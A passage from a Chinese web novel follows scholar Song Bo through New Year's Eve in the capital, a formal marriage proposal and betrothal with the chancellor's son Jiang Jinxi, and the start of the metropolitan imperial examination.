只要大雁品相好,贵便贵些,定亲一辈子只有一次,自然要选最好的东西。 “可还有何事?”王房牙再问。 “无事了。”宋泊说。 听宋泊这么说,王房牙行了个礼就要离开,被宋茶栽给叫着,“我们从地方上来,身上银两带的不多,他又是新晋解元,院子得要好的,所以麻烦王房牙尽量帮我们压压价格。” “宋公子是解元?”王房牙脚步一顿又弯回来。 王房牙瞧着宋泊,身量高,长得俊,身边周遭还有一股文人气息,确实器宇不凡,只是身份配江公子不足,不过既然有了解元名头,身份蹭蹭往上涨,往后得了官,也勉强能算得上“门当户对”。 “正是。”宋泊道。 “怎不早说。”王房牙又将店门的锁打开来,“我且再捎信过去将您的身份讲清楚,有解元身份在,那贷主应当会给些面子降银的。” 读书人的地位本就高些,更何况宋泊还是今年新晋的解元。解元,这可是过了乡试的人,未来的大官人,贷房总是要给些面子的。 说着王房牙让宋泊和宋茶栽自便,自己钻进牙行内忙去了。 第139章 第一百三十九章过年。 贷主捎回来的信比预定时候晚了一日,信中贷主同意便宜些租金,一月只九两就可,往后要是得了官想买院子,买院子的钱也可便宜一成。 这大抵是解元身份的功劳,王房牙送消息来的时候还说,那贷主不止一套院子,其他院子可从未减过租金。 大年三十,宋泊和宋茶栽在客栈内点了一桌子好菜度过除夕夜。 京城作为恒国首都,在这儿过年的人外地人只多不少,客栈为了客人们不至于没有饭吃,便营业到未时,再往后住店的客人们就只能自己自助,因着这个原因,宋泊和宋茶栽的一桌好菜是中午点来的,夜了自己进厨房里热了热,两人吃上四菜一汤也算丰盛。 这还是宋泊和宋茶栽头一回在外头过年,心中五味杂陈。 “等过了年,你将那院子贷下,我再随你一道携大雁和贺礼上丞相府,之后你可得紧着读书。”宋茶栽嘱咐着。 定亲是大事,读书也是大事,宋茶栽明白宋泊想要娶到江金熙还需靠自己本事考过会试,会试往后成了贡士,不管殿试是成是败,总归有了个较高的头衔着身,江丞相才有可能放手,让宋泊迎娶江金熙。 “我知道的。”宋泊自己也一直注意抽出时间学习,来京城后,除了那日看房花去时间较多,他只学了三个时辰,后头每日他都会留着六个时辰学习,科举的知识是一刻也未放下,经常挑灯夜读。 宋茶栽好几次从房间出来前往厕房,都会看见宋泊这间房的蜡烛还亮着,她虽心疼却也做不了什么,若科举考的是医学她还能提点一二,但科举不是,它考的知识与医学完全沾不上边,她的毕生所学在这个时候便无了用处。 科举的学程太长,宋茶栽怕宋泊因着她的唠叨起了厌烦的心思,又安慰着道:“大姑知道你是个好孩子,这些年吃的苦不会辜负你的。” 听到大姑用哄几岁孩童的口气哄着他,宋泊就觉着好笑,“大姑,我都二十二了,早就过了耍小脾气的时候啦。” “也是。”宋茶栽仔细瞧着宋泊,面前人已经从牙牙学语的孩童长到了比她还高,可以独当一面的成人了。越是看着宋泊,宋茶栽越是欣慰,眼神中充满了慈爱。 宋泊给宋茶栽夹了一筷子肉,说道:“好啦,快吃饭了,好不容易热的菜可别凉了。” 吃完饭,外头响起了鞭炮声,宋泊将客房窗户打开来,正好瞧着烟花炸开的瞬间。 放烟花的地儿离市中心有些远,仔细想来像是从皇城放的。 烟花一朵一朵炸开在空中,宋茶栽也走到窗边,跟宋泊一块儿往外瞧。 街上没什么人在,大家都聚在自己的小家之中,年味不比村里,可烟花却还是好看。 “不知是何人如此大手笔,放了这么多道烟花。”宋茶栽嘟囔着。 “应该是官府放的。”宋泊说。 烟花燃放的地方像是皇城,要过新年了,圣上想看看烟花也无可厚非,从皇城高处燃放烟花,不只圣上看得着,京城的百姓们也都看得着,也算是与民同乐。 “还得是官府呐”宋茶栽感叹。 恒国国泰民安,国库自然充盈,能在除夕夜放上几十次烟花,也就官家有这番雄厚的财力。 一刻钟过后,烟花燃尽,世间又恢复了宁静,宋茶栽帮宋泊把房内清理干净后便回了自己的房间。 宋泊闲来无事,将书籍拿来,坐回圆桌前读书。 不知读了多久,门外传来轻轻的敲门声。这时候也不早了,何人会在这个时候来寻他? 宋泊把书本倒扣在桌上,随后起身开门,门外站着江金熙,笑面如花。 宋泊震惊,“你怎么在这个时候来了。” “我刚刚随爹、娘入了皇城陪圣上用餐,这下刚回来我就溜出来了。”江金熙一抬脚,从宋泊身侧溜进房内,“可是冷死我了。” “冷死你了你还来。”宋泊边关房门边念叨着,“青桥呢?他没随你一起?” “他先回府上帮我瞒一会儿,等会会喊阿朝接我回去。”江金熙说着,将藏在斗篷里的东西拿出来,“你快过来,这是我从皇城里要的烤鸭,可是好吃了!” 瞧着圆桌上都是宋泊的书,没地方放食盒,江金熙先把食盒搁在圆凳上,小心着将宋泊的书本叠好放到一侧,再将食盒放在桌上打开来。 食盒一打开,烤鸭的香气便溢了出来,江金熙用房内的水盆洗了下手,然后给宋泊包了个烤鸭卷。 宋泊刚在江金熙身侧坐下,江金熙便喊他张嘴,宋泊乖乖照做,一个包好的烤鸭卷便被塞入了他的口中。 江金熙包的烤鸭卷并不大,一口就能吃下。 宋泊在口中嚼了嚼,面皮很薄,鸭皮很脆,伴随着特制的酱料,尝来非常好吃。 “怎么样!是不是很好吃!”江金熙双眼冒着星星,期待地看着宋泊。 宋泊将烤鸭卷吞入腹中,而后点了头,道:“确实好吃。” “是吧!”江金熙立刻又给宋泊包下一个烤鸭卷,“这个可是春节时儿才能吃到的,我想着你在京城,便偷摸着给你带了一份。” 宋泊看江金熙手上忙碌,包的烤鸭卷全都进了他的口中,便问着:“你怎么不吃?” 皇城的菜可是精品,一食盒里只装了五片鸭肉,换言之就是只能包上五卷,再想吃也没了。 “我吃过啦,这是特意带来给你的。”江金熙道。 圣上有除夕唤能臣入皇城一块儿吃饭的习惯,每次江丞相和江夫人去的时候都会带上他,他可不管什么人情世故,去了便是一心朝吃,断不会饿着自己。一来二去他在皇城过了十几个年。上一年南方寒灾他没赶回来,圣上还问过他的事儿呢。 没想到江金熙这么念着自己,宋泊心里软得一塌糊涂。他念着隔壁住着的宋茶栽,便留了两卷送到宋茶栽那儿,让她也尝尝。 见宋泊端着空食盒回来,江金熙再问:“如何,大姑何说?” “大姑说这是她吃过最好吃的烤鸭卷。”宋泊笑着把空食盒放在桌上,宠溺着捏了下江金熙的脸颊,“还说谢谢你。” “太好了。”江金熙被宋泊捏着脸一点儿也不生气,他眉眼弯弯,两只眼睛如弯月一般,瞧着便令人心情愉悦。 “好好个贵族哥儿却亲自送了烤鸭来。”宋泊松开捏着江金熙脸颊的手,将他拢入怀中,“我何其有幸,得夫郞如此。” “干嘛呀,怎么还感叹起来了。”江金熙笑着环住宋泊的后腰,说道:“其实送烤鸭来只是个借口,实则是我想你了,我想见你。” 听了这般情话宋泊哪儿还能忍得住,他稍稍松开手,低头吻上江金熙的唇。 两人已经不是头一次亲吻了,亲的次数多了,便熟练起来,气息交换顺畅,旖旎的气氛在两人之间笼罩。 一吻吻毕,江金熙靠在宋泊怀中喘息着,“宋泊,你何时娶我?” “今年。”宋泊坚定着道。 会试和殿试都在上半年,只要考过了,下半年他就能认真筹备成亲的事儿。 江金熙捏着宋泊放在他腰侧的手,说:“你这么有自信,会试和殿试都能过?” “过不了我也想娶你。”宋泊说:“说服的法子那么多,若没上榜我就寻别的法子说服你父亲,总归出不过今年。” “好呀,那我是不是可以准备准备看喜服了?”江金熙笑问。 贵族家的哥儿和姑娘成亲用的喜服都要提早预定,做工复杂不说,要的喜服布料也不是常常都有,通常一件好的喜服都得等上半年。 “可以。”宋泊拢紧江金熙的身子,忽然想起最开始时他遇见江金熙还在半夜偷偷给他量尺寸的事儿,一想起来便忍不住笑了。 “想到什么了,那么高兴?”江金熙问。 “你还记得我给你买的冬衣吗,那时你觉着大了,其实是我偷偷量你的尺寸没量对。”宋泊笑说。 江金熙还是头一回听到这个事儿,他起了兴趣从宋泊怀中出来,拉着宋泊的手坐到桌边,两人面对面瞧着,江金熙兴致勃勃道:“你快跟我说说,是怎么回事。” “当时我想给你买衣裳,可成衣店里又没有你的尺码,我就与店员借了尺子,在夜里隔着衣裳偷偷给你量尺寸,我怕惹醒你,不敢离你太近,这下距离一远,误差多了许多,穿在你身上就大了好多”宋泊说,现在想起之前的事儿只觉着好笑,跟做贼一般费心费力一晚上,最后出来的成衣却还是大了,这不如直接从成衣店买一套,还省了他一夜的睡眠。 “我说呢。”江金熙跟宋泊一起笑起来。 当时人生地不熟,江金熙也不好说那衣服大了,总归有冬衣穿就很好了,不能再强求什么,现下听来才知道那件衣裳居然还有这样的故事,还好他没把那衣裳丢了,还能再找出来仔细瞧上一番。 从那套旧冬衣开始,两人开启了话匣子回忆之前在村子里的事儿,心境不同,说来也不同,以往复杂的事儿如今讲来只剩下会心一笑。 从某种意义上来说,江金熙还要感谢叶单越,若不是他整这么一出,他永远也不可能来到南方,永远也遇不上宋泊。 “宋泊。”江金熙拉起宋泊的手,两人十指相扣。 “怎么了?” “我爱你。” “嗯,我也爱你的。” 第140章 第一百四十章提亲。 正月初十一早,宋茶栽请的化妆姑娘便到了,今日要去丞相府说纳采的事儿,她得盛装出席给宋泊撑面子,虽然她们是农户出身,但这种时候也是输人不输阵。 等宋泊从异珍馆拎了只大雁,坐着租的马车回到客栈楼下时,宋茶栽已经准备就绪。 “快让我瞧瞧那只大雁。”宋茶栽见着宋泊第一件事便是看大雁,纳采是定亲的头道大事儿,这事儿开了个好头,便是为好姻缘讨了个吉兆。 宋泊倒是没想着宋茶栽会穿得这么隆重,身上一身大红色绸衣暗纹荷花袍,头束妇人发髻,插着一支红石榴流苏铜簪,手上带了个翠玉戒指,脚上踩的是浅绿莲叶纹鞋,这一身下来完全看不出是个农村出身。 瞧着宋泊眼中的惊艳,宋茶栽一昂头,“如何,没见过你大姑这么有面儿的时候吧?” “确实,一眼瞧来我还以为我认错了人,认成别家的贵妇了。”宋泊嘴甜道。 宋茶栽听着高兴,声音也洪亮不少,“会说话。” “只是你这些首饰都是哪儿来的?”宋泊有些好奇,往日没瞧过宋茶栽戴首饰,这些首饰看来都眼生得很。 “这可是你奶奶留与我的嫁妆,要不是今日这个日子,我不会拿出来的。”宋茶栽仔细摸着手上的戒指,心底有点儿怀念,这戒指自她娘亲传来,往后宋泊和江金熙若是成了亲,这戒指还需往下再传。 这些首饰竟有如此来头,宋泊当即便严肃许多,没拿那些首饰开玩笑。 “快让我瞧瞧大雁!”宋茶栽怀念过后又念着大雁。 宋泊便掀开车厢车帘给她瞧,一只大雁被束在马车之中,边上有个身着枣红色的媒人正管着那大雁。 大雁昂脖,一身羽毛油光蹭亮,外头瞧来无一丝伤口,还能“嘎嘎”叫,确实是一只品相极好的大雁。 “这可是媒人?”宋茶栽问。 “我确是媒人。”曾媒人朝宋茶栽行了一礼,“往后便由我负责宋公子与江公子的成亲之事。” 这媒人是异珍馆的人介绍的,去买大雁的人一半做宠物,一半做成亲用,异珍馆会为成亲用的客人介绍媒人,这些媒人名声在外,收价合理,行事利落,多是好评。 宋泊也是打听了一阵,确定这曾媒人品行端正,又看过她以往成的姻缘数量,这才决定雇她。 与曾媒人的业务能力相关,她的酬金自也比寻常媒人高,成一婚收二十两,期间所有跟成亲有关的事她全部包办。 “那便麻烦你了。”宋茶栽说。 宋茶栽与曾媒人对着等会儿的流程,宋泊进了客栈跟店小二一块儿把木箱中的贺礼抬下来放在马车上,两箱木箱中的贺礼都是这次纳采要用的,后头还需贺礼再备就是。 坐上前往江府的马车,宋泊手心直冒汗,两辈子头回结婚,就算再成熟稳重的人也会紧张得心慌。 宋茶栽瞧着往日从未扣过手指的宋泊忽而双手交叉放在膝盖之上扣着手,便知他此时正是紧张。 “以江丞相的权势,若他不同意你们还能在一起快两年?放宽心些。”宋茶栽拍着宋泊的后背宽慰他,“等会的词还记得?” “自是记得。”宋泊应声,什么词都能不记得,这个词必须记得。 “那你说与我听听。”宋茶栽道。 借由这个办法,宋茶栽才转移了宋泊的注意力,让他不至于紧张到扣自己。 马车缓缓停在江府门口,宋泊先下马车,而后宋茶栽和曾媒人也下了马车。 宋泊几步踏上江府台阶,今日与往日不同,每个动作都沉重得让他心慌,他走到大门前,深吸了口气才*抬手拉上门环。 两下扣门,门从里头开启,宋泊之前来过,守门的杂役们又听闻这人是公子的心上人,大伙儿都认得他,“宋公子,您今日来可有何事?” “江丞相、江夫人和江公子可都在府上?”宋泊问道。 昨日他便问过江金熙,确认今日江丞相和江夫人都会在府上,今日再问只是例行一问罢了。 “都在的,您是要找?”杂役小心地询问着,宋泊一下提了三个人,杂役摸不清他究竟想找哪位。 宋泊给杂役塞了几钱,而后说道:“请你帮我进去与江丞相通报一声,就说宋泊上门提亲。” 杂役惊得说不出话来,只猛地点头往府里跑,跑得着急了还左脚拌右脚差点摔倒,这可是自家公子的大事儿,一点儿耽误不得。 江丞相和江夫人正在正房里闲聊着,江夫人正说着这几日宴席太多累得她都走不着倒儿了,就听着洪嬷嬷在门外敲门,“夫人,可有大事了!” 江夫人起身拉开正房,“何事如此着急?” 洪嬷嬷跟了她几十年,见过的大场面没有几百也有几十,上回见着她如此慌忙还是在二十年前她生金囝的时候。 洪嬷嬷抬手小声在江夫人耳边说道:“宋公子来提亲了。” “什么?”这下江夫人也惊叫出声。 江丞相听着自家夫人的惊叫声,也走到房门口,“发生什么事了?” “宋公子来我们家提亲了!”江夫人说。 “可算是来了。”江丞相让洪嬷嬷跟江金熙报个信儿,而后再带话出去让宋泊等上一会儿,定亲的事儿简单不了,他们怎么也得换身装扮。 宋泊来到京中以后,江丞相便派人跟着他,虽说宋泊的品性他已经了解,但京中诱惑颇多,不乏那些本来品性良好后头却被污秽沾上的人,江丞相让人看着他,也是为了自家哥儿着想,两人还未成亲,一切都还来得及反悔。 只是盯了十几日,宋泊大部分时间都在客栈内读书,只去过两次牙行、去过两次异珍馆。去牙行是为了贷房,那去异珍馆是作何?普通百姓是不会去异珍馆的,因着那儿的东西贵又没什么实际用处,故而江丞相的人前去打听了一番,宋泊只问了大雁的事儿,旁的一律未管,如此江丞相心底便有了个大概,宋泊应要来提亲了。 等了十来日,终于等着宋泊提雁上门,他可要瞧瞧为了娶他家哥儿,宋泊究竟有几分决心。 * 江金熙正在自己卧房的床榻上包着被子看书,便听着青桥在院子外头大喊大叫。 “公子!大事!发生大事了!” 江金熙瞧着青桥大气喘不上一口,起身与他倒了一杯水,边倒还边念叨他,“与你说过多回,稳重一些,都二十的哥儿了,哪儿还能这么咋呼。” 青桥本想尝试着说话出来,可喘了几下只说出个“公子”,他拿起水杯大口喝着,稍微缓过来以后才道:“若你听了,你也稳重不了的。” 江金熙起了兴致,居然还有事儿能让他稳重不了,他问:“何事?” 青桥说:“宋公子他来提亲了!” “你说什么?”江金熙追问。 “宋、公、子、他来提、亲了。”青桥特意将重点顿了顿,让江金熙可以听得更清楚一些。 江金熙瞬间就慌了神,心脏扑通扑通跳得飞快,“他怎么都没与我说一声呀!” 房内点了火炉,以致于江金熙现下还是一身素衣穿着,他一个迅步走到衣柜前,打开衣柜选衣裳,嘴上也不停,“青桥你快去看看爹、娘在做什么?”他最怕的事儿便是爹爹耍脾气,将宋泊拒之门外。 “是!”青桥领了命,赶紧往出跑。 江金熙瞧着一柜子的衣裳,竟不知穿哪件衣裳合适,难怪宋泊这几日遮遮掩掩,原来是在这儿憋了个大惊喜。 江金熙一边愁着衣裳,一边又有些高兴,除夕时才说了成亲的事儿,宋泊马上便付诸行动,可想他已经深谋远虑许久,可能在乡试过后便把这事儿提上了日程。 宋泊不是个说大话的人,成亲的事儿也不是在唬他,他的未来里有他,只想着这点儿他便心动不已。 “公子,老爷和夫人和还在准备呢!”青桥一下子推门而入,瞧着江金熙还是一身素衣站在衣柜前傻笑,他便上前摇醒他,“你怎么还没换衣裳那,等会儿赶不及了!” “噢、是是。”江金熙从思绪中抽出神来,“青桥你快帮我选选,哪件衣裳好看。” 自家公子居然会在选衣服的事儿上为难,青桥轻笑着帮江金熙挑衣裳,“今日宋公子提亲是个好日子,咱们就往喜庆的穿,这件橘红色锦鲤衣袍正合适。” “你说的是,快帮我穿上。”江金熙道。着急则乱,往日江金熙都是自己着衣,今日怕一个着急扣给打错了,解扣又得费上一阵功夫,这才喊青桥帮他穿衣裳。 “好,公子你别急,我这就帮你穿上。”青桥将衣袍从衣柜里拿出来,从左往右将衣袍套在江金熙身上以后,又仔细给扣了扣子,确定没有一丝问题以后,他让江金熙坐在梳妆台前,他给帮着束发。 哥儿与姑娘不同,做不了太繁杂的发髻,青桥把江金熙一头的修长乌发高束在头上,再套上个白银红宝石发冠,整体显来不素又不会太过繁重,正正好。 在青桥给他束发的时候,江金熙手下也未停,他给自己简单地上了个妆,呡了涂有口脂的红纸,这几日雪下得多,府中虽然点了火炉,但他的唇色还是被冻着有些暗淡,呡上一口口脂气色便好了许多。 紧赶慢赶,花了半个时辰也算是把自己打扮好了,江金熙在青桥面前转了个身,问,“如何?” “太漂亮了!就这样!宋公子瞧了定然挪不开眼!”青桥大声夸赞道。 140-150 第141章 第一百四十一章订婚书。 宋泊在丞相府门外等了一个时辰之久,期间杂役怕他等得恼火发脾气,还特意劝着宋泊,说老爷、夫人和公子就要来了。 “无妨,只是等会儿而已。”宋泊好脾气着回道。 上门提亲定是要捱一顿考验的,只不过在门外多等一会儿罢了,算不得什么。 宋泊本来想让宋茶栽和曾媒人在马车上等着,但两人都拒了这个提议,坐在马车上等是舒坦了,但提亲的诚意就减去了大半。 为了宋泊提亲成功,宋茶栽和曾媒人断不会上马车自己享受。 只是宋泊领着宋茶栽和曾媒人站与丞相府门外,两人衣着喜庆,一瞧便是来提亲的,少不了被周遭路过的百姓指指点点。 “又一个不自量力带媒人上门提亲的。” “是呐,刚刚我出门便瞧着他,现下买菜回来了他还在,都一个时辰过去了,定是丞相府无意了。” “自江公子及笄多少人想搭上丞相府这个关系,我瞧门前这人眼生得很,想来不是什么达官贵人。” “那就更没机会了,这天估摸着要下雪了,还是早些回去别被雪淋了为好。” 他们说话的声音不算小,句句落入宋泊和宋茶栽的耳朵中,宋茶栽秉着今日是好日子的想法,不与他们计较,却还是越听越来气。 “你莫气,任他们说去就是。”宋泊宽慰宋茶栽道。 “那些人真是,我们提亲与他何干,就爱嚼人舌根。”宋茶栽愤道。 “宋公子,老爷说您可以进去了。”一个侍人小跑着过来,与宋泊说着。 “马车上的东西得劳烦小哥请人帮忙搬进去。”宋泊礼貌道。 “好的。”侍人喊来府上其他侍人,帮着宋泊一起把贺礼搬进去,那只活雁则由曾媒人牵着。 侍人领着宋泊到正厅,江丞相、江夫人和江金熙都已经在正厅等着,三人均着喜庆且华贵的服饰,应当是有应亲之意。 “江丞相、江夫人。”宋泊先与江丞相、江夫人行了礼,随后才转目看向江金熙,唤了他一声金熙。 今天的江金熙特意打扮了一番,让宋泊眼前一亮,挪不开眼。 江金熙被宋泊看得面红,悄悄转眸挪开了眼神,一双手躲在衣袖之下,紧张地扣着袖口。 “说吧,今日这阵仗可是何事。”江丞相坐在上位,两手搭在椅子把手上,瞧着很是严肃。 往常宋泊上门都是为的旁的事儿,江丞相这么严肃的模样还是第一次见,不过宋泊也不发憷,他上前一步,昂首挺胸道:“宋泊心悦金熙已久,先前我便承诺,若过了乡试就来丞相府提亲,昨年运气上乘,过了乡试后便一直筹备提亲事宜,今日万事俱备,特前此兑现诺言。” 宋泊两手一抬,交握着放在脑袋之前深深弯腰,“宋泊前来提亲,望江丞相应允。” 江金熙看着宋泊的动作,再加上他沉静的声音虽不大却在厅中回响,他心中升起一阵感动,眼眶晶莹。 江丞相不留痕迹地看了江金熙一眼,这孩子当真爱得极了,只是上门提亲就让他感动到眼含热泪,江丞相收回眼神,看向厅中宋泊,道:“行了,起来吧。” “既是纳采,便按着流程开始吧。”江丞相道,他虽然对宋泊还不是那么满意,但也不会在这种时候挑刺。 曾媒人拿着庚帖往前一步,高声道:“贵府江金熙蕙心兰质,鄙宅宋泊仰慕已久,今受宋家所托,特携庚帖前来求结良缘,往贵府应允。” 曾媒人把宋泊带来的贺礼单交与侍人,侍人双手捧着呈于江丞相。 江丞相翻开随意看了几眼,上头写的贺礼足有十几种,每种数量都为双数,确实是做过功课。 “金熙,你怎么想。”江丞相合上贺礼单,转头看向江金熙。 毕竟是江金熙的婚事,还需要江金熙点头同意。 见爹爹问来,江金熙想也未想便点了头,边点头还边说着:“爹爹,我愿意的。” “既如此,庚帖我便收了,金熙的庚帖你且等上一会儿。”江丞相道。定亲的大事他们家自然也得请一个媒人,他刚刚已经派人去请了,马车驾驶过来很快就能到。 “无妨,我愿意等。”宋泊道。 双方大致定下,气氛便稍微轻松些,江夫人见着宋茶栽是生面孔,她道:“这位是?” “我是宋泊的大姑,特意从南面来贵府提亲的。”宋茶栽笑道。 江丞相应下宋泊的请求,这亲就算是定了,接下来就是两方走流程,没什么紧张的事儿,能轻松一些。天知道她刚刚在宋泊说词的时候有多紧张,若是江丞相提了别的要求,她定要帮着宋泊完成。 “你不说我还以为你是宋泊的姐姐呢。”江夫人让洪嬷嬷领着宋泊他们坐下,“瞧来可真是年轻。” “哪儿呀,还是江夫人瞧来更年轻一些。”宋茶栽道。 午时在丞相府吃了个午餐,未时出头,江丞相请的媒人才到。 “江丞相,我来迟了。”江丞相请的媒人应当是官媒,身着素色蓝衣绸缎袍,腰间挂有一个腰牌,见着江丞相,她把手上的手箱搁在一旁,先与他行礼,再给江夫人行礼。 “你瞧瞧这庚帖,再把金熙的庚帖拟了就是。”江丞相让侍人把宋泊的庚帖拿给何媒人。 何媒人细细瞧过庚帖,上头写得一点问题也没有,她从手箱里拿出官员家眷用的锦帖,走至江夫人身边。 生辰八字这些东西江金熙本人或许不知道,但是作为江金熙母亲的江夫人是一定会知道的。 何媒人在江夫人的说明下把江金熙的生辰八字写在庚帖上,江金熙也对自己的生辰八字好奇,在何媒人写的时候他便在边上看着。 瞧着自己的名字、生辰八字出现在庚帖上,江金熙才有了自己要定亲的实感,今日往后他与宋泊就是明媒见证过的未婚夫夫,一想起来都忍不住偷笑。 何媒人停下最后一笔,拿着庚帖给江丞相和江夫人过目以后,才把江金熙的庚帖交至宋茶栽手中。 交换庚帖只是纳采的第一步,官员的哥儿、姑娘定了亲还得写订婚书,这般若是男方反悔,哥儿、姑娘这儿就能去官府告他,背弃官家哥儿和姑娘可是大罪,轻则挨板子,重则砍头,这订婚书其实也是给男方的一个警告。 临了要写婚书的时候,江丞相开了口,“纳采之事我是应了,但我不能轻易将金熙交与你。” “有何条件,江丞相您尽管说。”宋泊道。 “之前我与你说过,成了贡士不止,过了殿试才行。”江丞相说:“你何年过了殿试,何年才能继续这婚事。”江丞相严肃道。江金熙是他含在嘴里怕化了、捧在手里怕碎了的宝贝,他断不可能将江金熙下嫁出去吃苦。过了殿试有了御赐的官身在,每月有俸禄领着,生活不会穷困潦倒,这才稍微有些保障。 “我知道的。”宋泊欣然应下,“未有官身,我也不愿金熙陪我一道儿吃苦。” “还有。”江丞相又开口。 宋泊一句话未说洗耳恭听。 “定亲以后你若是敢借着这事对外生事,我们可是能随时反悔的。”江丞相道。 以前有过男方一直藏着本性,等骗到官家姑娘以后才露出狐狸尾巴,仗着姑娘家的权势,在外头胡作为非,最终落得两败俱伤,姑娘家把男子逐出去,自家的官途却也没落了。 江丞相观察了宋泊两年,他不像是这般人,但还是要先说出口警告一番。 “江丞相大可放心,宋泊断不会行如此不忠不义之事。”宋泊高声承诺。 在场人这么多,也不怕宋泊反悔,何媒人瞧着江丞相的面色,见江丞相点了头,她才继续沾墨写订婚书。 订婚书一式两份,宋家拿一份,江家拿一份。 直到将订婚书拿在手中,宋泊才松了口气,定亲不易,一辈子一次便够了。 “将我备的东西拿来。”江丞相抬声说道。 侍人们端着东西鱼贯而入。 宋泊与宋茶栽不解现在是何情况,两人坐在位置上,互相看着。 “这些是回礼。”江丞相让侍人把礼单拿给宋茶栽,“你既送了那么多礼,我方自然也没有白拿的道理,这些回礼你们等会儿拿回去,就算纳采礼成了。” 宋泊和宋茶栽站起身来,一同谢过江丞相。 两方长辈都在现场,宋泊和江金熙就算高兴也不能在此相拥欢呼,两人远远瞧着传情,都从对方的眼中瞧到了高兴。 江金熙偷偷给宋泊比了个大拇指,这大拇指只有宋泊瞧得见,其他人只能看见江金熙的衣袖边沿。 携上回礼,宋泊、宋茶栽和曾媒人告退了。 坐在马车上,宋泊才让宋茶栽赶紧将订婚书打开来瞧瞧。 之前在丞相府时他也想看订婚书写了什么内容,但到底要端着身量不好凑上去看,只能按捺这自己内心的期待,等出来了才迫不及待让宋茶栽拿出来看看。 “好啦,瞧你个猴急的样子。宋茶栽从怀中把订婚书小心拿了出来,展示在宋泊面前。 订婚书内宋泊与江金熙的姓名、生辰八字、籍贯、排行等,接着是媒人的信息,媒人信息再往下写了婚约誓词,最后写上了日期和署名。 看着自己的名字与江金熙的名字并排出现在订婚书上,宋泊没忍住一把攥住宋茶栽的手,“大姑,我定亲了。” 宋茶栽腾出一只手拍着宋泊的手背,道:“嗯,恭喜你,你定亲了。” 第142章 第一百四十二章会试。 完成定亲的事儿,宋泊心中的大事儿也算暂时了结了。 “瞧你美的,每天都咧着个嘴傻笑。”宋茶栽正帮着宋泊打扫院子,就看着宋泊拿着个扫把边扫雪边乐呵。 距离定亲那日已经过了三日,今日是宋泊搬进新院子的日子。 “我高兴呀。”宋泊也没觉着自己傻笑丢人,大大方方就承认了,“你有了未来侄夫郞,你不高兴吗?” 宋茶栽擦着正房的窗户,闻言答道:“当然高兴。” 江金熙可是不可多得的好哥儿,长得漂亮声音好听,又明事理会读书,还有一手好医术,宋泊能与他定亲当真是撞了大运。 “过两日房子收拾好了,你就得钻进书房里苦读了。”宋茶栽调侃道。 内院五间房除了正房用来当宋泊休息的地方,另外四个房间暂时还未有它用,宋茶栽便收拾一间出来,给宋泊当书房用。 到了京城没有县学老师领着,学习全得靠自己,当然要腾出个安静的环境。 宋泊笑答:“我都做好准备了,就等着苦读呢。” 今后一个半月才是辛苦的时候,不过宋泊已经做好准备,只要读不死就往死里读。 正月十七,宋茶栽捎了封信回去,与刘南民说了宋泊定亲以及她会晚些回去的事儿,离会试就剩一月多,现下坐马车回到村里屁股还没坐热就得再坐马车上来京城看会试结果,如此折腾倒不如直接住在京城,索性宋泊也需要人照顾他生活起居,宋茶栽便想着等到会试结果再回去。 十七日以后,宋泊投入暗无天日的学习生活之中,每日醒来便学,学到凌晨打更声响再歇。 文夫子也被重新请了来,算是给宋泊专门一对一复习的夫子。 文夫子虽在京城,却也听闻宋泊逢考必是榜首,教这样的弟子省心,他所教的东西宋泊都能理解。 江金熙每日都会到宋泊这儿来,他也不打扰宋泊,只是在旁边陪着一起看书。 时光流逝,眨眼间便到了三月三,会试的日子。 会试更苦,共考三次,每次三日,期间都会间隔一天给考生歇息。 “一想着要在小房间内待上九日,我就觉着苦。”路砚知耷拉着一张苦瓜脸说道。 二月中路砚知就到了京城,他听闻宋泊年初就在京城,来时最先与他打了招呼,而后宋泊请路砚知住家中去,两人跟着文夫子恶补了半月,今日才一块儿到贡院门口。 “熬过这九日便好了。”宋泊说。 “还好现下是春季,不至于那般臭气熏天。”路砚知实在找不到好处说,只能捡着这点安慰自己。 天还未亮,贡院就开门迎考生。 会试的检查最是严格,连身上的衣裳都得脱了去,只留一条里裤,留里裤还不能将腿遮着完全,得将裤腿撩起来到大腿根处,如此才算合格。 过了检查夹带那关,宋泊接着往后走,有官差检查考生携带的笔、墨、砚,如有一物不合规就会换成贡院提供的合规物品,考试前若少了自己用来顺手的笔墨砚,定会对心态造成极大的影响,故而没有考生敢在这事儿上动手脚。 会试没有考篮,笔、墨、砚抓在手中进去就是,其它东西贡院都会提供。 顺着号牌的号数找着号房,宋泊坐了进去,号房内陈设与乡试号房差不多,不过这号房建在京城,每个小房间的空间会相对大些,没有乡试号房那般闭塞,而且这次便桶还提供了盖子,如此可有效隔绝气味。 总的来说,宋泊对这间号房还是挺满意的,既然选择不了考试的地方,那就只能心态放平地迎合。 宋泊坐在号房内的小凳子上开始研墨,今年会试考生不少,约有上千人,等会会有几十个考官一起发卷,只要听到铃声响起,就可以开始作答。 会试每场考试的试题都不少,沾笔的墨就需提前备着,还好现下已经入了春,气温渐渐回升,不然有的差砚台根本研不出墨,或者一研出墨就被冻着,这般墨水也是用不得的。 宋泊耐心等着官差来,终于不知坐了多久,听见渐渐往他这儿靠近的脚步声。 官差把卷子分到宋泊桌上后完全未停留接着往后走,过了一会儿,贡院的铜钟被敲响,巨大的钟声响彻贡院,会试开始了。 第一场考试考四书和五经,四书题有三道,五经题是选做题,每位考生需选择四至五道题作答。说是四至五道,但做五道的分肯定比四道多,所以宋泊安排的写作时间将五道题都算了进去。 四书五经算是基础题,能进入会试的考生都是基础扎实的人,不过会试喜欢与众不同,常出些歪门邪道题,比如那种书里只用小字提过一句的话,也有可能会出着。 先前便有考生觉着不满,上贡院投诉,但贡院翻出那一列小字出现的书页,确实就在四书五经之上,这可是贡院有理,怎么说这考题都在四书五经上,不算偏题。 这次会试便出了三道犄角旮旯题,一道四书,两道五经,还好先前文夫子特意提过,这三句原句宋泊都有复习过,写起来也算得心应手,旁的简单题宋泊就是闭着眼也能写来。 一写卷子便容易忘记时间,直到官差拿了蜡烛来,宋泊才发现眼前光线已然不佳,夕阳西下入了夜。 在号房睡了两个晚上,宋泊是浑身酸痛,浑身骨头动起来都嘎吱嘎吱响,总算熬过第一场。 第二场三月七日开始,考论、诏诰表,论为议论文,诏诰表是三类文种,考生则一类作答即可。 诏需要模仿写出皇帝发出的政令,这种文体与皇帝沾边,大多考生都不愿意选此文体,若有自己发现不了又触及皇帝的错误,被刷下榜是一回事,被问罪可就是无妄之灾了。 诰需要模仿朝廷封赠官员的文书,这个文体与第三个表,模仿臣子向皇帝呈递的奏章差不多,考生们便在这两种里头选。 宋泊花了两天时间写下论,最后一日挑了表来写。 